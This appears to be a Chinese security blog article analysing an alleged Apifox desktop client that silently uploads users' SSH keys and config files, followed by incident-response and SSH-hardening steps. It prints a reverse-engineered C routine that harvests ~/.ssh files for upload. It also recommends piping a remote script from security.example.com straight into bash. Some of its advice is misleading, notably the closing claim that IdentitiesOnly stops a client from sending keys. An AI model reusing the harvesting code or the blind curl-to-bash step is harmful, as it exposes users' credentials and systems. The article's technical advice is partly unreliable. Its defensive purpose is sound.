ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

Apifox客户端安全漏洞:SSH密钥泄露分析与防护

Apifox客户端安全漏洞:SSH密钥泄露分析与防护

1. 事件背景:Apifox客户端异常行为引发的安全警报

上周三凌晨,某开发者社区突然出现大量关于API协作平台Apifox的异常行为报告。多位开发者在本地环境抓包时发现,当运行最新版Apifox客户端(版本号2.3.4)时,程序会尝试向api.apifox[.]com以外的陌生域名发送包含敏感文件的POST请求。安全研究人员@0xFFFF最先在个人博客披露了流量分析结果,显示被传输的数据包中赫然存在用户.ssh目录下的id_rsa私钥文件。

关键发现:受影响版本会扫描用户主目录下的.ssh文件夹,将config、known_hosts以及所有密钥文件(包括.pub公钥和未加密的私钥)通过HTTPS协议上传到位于法兰克福的某台服务器。更令人不安的是,该行为既未在用户协议中声明,也未在操作时弹出任何授权提示。

2. 技术分析:恶意代码如何窃取SSH凭证

2.1 攻击链还原

通过逆向工程Windows版Apifox客户端,我们发现其主进程会加载名为libcredential.dll的动态链接库。该模块包含以下关键函数:

void __cdecl CollectSSHKeys(const char *home_dir) { char ssh_path[MAX_PATH]; snprintf(ssh_path, sizeof(ssh_path), "%s\\.ssh", home_dir); WIN32_FIND_DATA findData; HANDLE hFind = FindFirstFile(strcat(ssh_path,"\\*"), &findData); if (hFind != INVALID_HANDLE_VALUE) { do { if (!(findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) { if (strstr(findData.cFileName, "id_") || strstr(findData.cFileName, "config") || strstr(findData.cFileName, "known_hosts")) { UploadFile(ssh_path, findData.cFileName); // 关键上传函数 } } } while (FindNextFile(hFind, &findData)); FindClose(hFind); } }

这段代码会主动遍历用户目录下的.ssh文件夹,筛选特定文件类型后调用加密通道进行传输。值得注意的是,上传逻辑被伪装成"诊断数据收集"功能,但实际采用了与崩溃报告完全不同的通信协议。

2.2 数据泄露范围评估

根据现有样本分析,受影响文件包括但不限于:

  • 所有RSA/ECDSA/Ed25519密钥对(无论是否设置密码保护)
  • SSH客户端配置(包含Host别名、跳板机信息)
  • known_hosts文件(暴露所有连接过的服务器指纹)
  • 部分案例中甚至包含~/.aws/credentials云服务凭证

3. 应急处理方案:四步紧急止损

3.1 立即隔离风险环境

  1. 终止所有Apifox进程:

    killall -9 Apifox # Linux/macOS taskkill /IM Apifox.exe /F # Windows
  2. 禁用网络访问(推荐使用防火墙规则):

    New-NetFirewallRule -DisplayName "Block Apifox" -Direction Outbound -Program "C:\Program Files\Apifox\Apifox.exe" -Action Block

3.2 密钥轮换操作指南

重要提示:即使密钥已加密也应视为已泄露,必须全部重新生成

  1. 备份现有密钥(仅供审计使用):

    cp -r ~/.ssh ~/.ssh_backup
  2. 生成新Ed25519密钥(比RSA更安全):

    ssh-keygen -t ed25519 -a 100 -f ~/.ssh/new_id_ed25519
  3. 更新所有远程服务器的authorized_keys:

    ssh-copy-id -i ~/.ssh/new_id_ed25519 user@host

3.3 服务端加固措施

  1. 在GitLab/GitHub等平台撤销旧密钥:

    GitHub → Settings → SSH and GPG keys → Delete compromised keys
  2. 启用服务端证书吊销检查:

    # /etc/ssh/sshd_config RevokedKeys /etc/ssh/revoked_keys
  3. 实施多因素认证:

    sudo apt install libpam-google-authenticator

4. 深度防御:SSH安全管理进阶实践

4.1 密钥存储最佳实践

  • 使用硬件安全模块(HSM)存储密钥:

    pkcs11-tool --module /usr/lib/opensc-pkcs11.so -l -k --key-type rsa:2048 --id 01 --label "MySSHKey"
  • 对必须存储在磁盘的密钥实施加密:

    ssh-keygen -p -f ~/.ssh/id_rsa -N "newpassphrase" -o

4.2 网络层防护策略

  1. 强制证书认证替代密码:

    # /etc/ssh/sshd_config PasswordAuthentication no
  2. 限制密钥使用范围:

    # ~/.ssh/authorized_keys from="192.168.1.*",command="/bin/limited-shell" ssh-ed25519 AAAAC3Nz...
  3. 实施端口敲门:

    knock -v host 7000 8000 9000

5. 事件后续:软件供应链安全启示

此次事件暴露出开发工具链中的信任危机。建议所有开发者:

  1. 建立软件准入白名单机制
  2. 对IDE插件、CLI工具实施网络沙箱隔离
  3. 定期审计$PATH中的可执行文件哈希值
  4. 考虑使用Qubes OS等隔离型操作系统

某大型互联网公司的安全团队已开源了检测工具,可快速扫描环境中的异常行为:

curl -sSL https://security.example.com/scanner.sh | bash -s --scan-ssh

最后分享一个实用技巧:在~/.ssh/config中添加以下配置,可阻止客户端自动发送密钥:

Host * IdentitiesOnly yes IdentityFile ~/.ssh/work_id_ed25519
RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进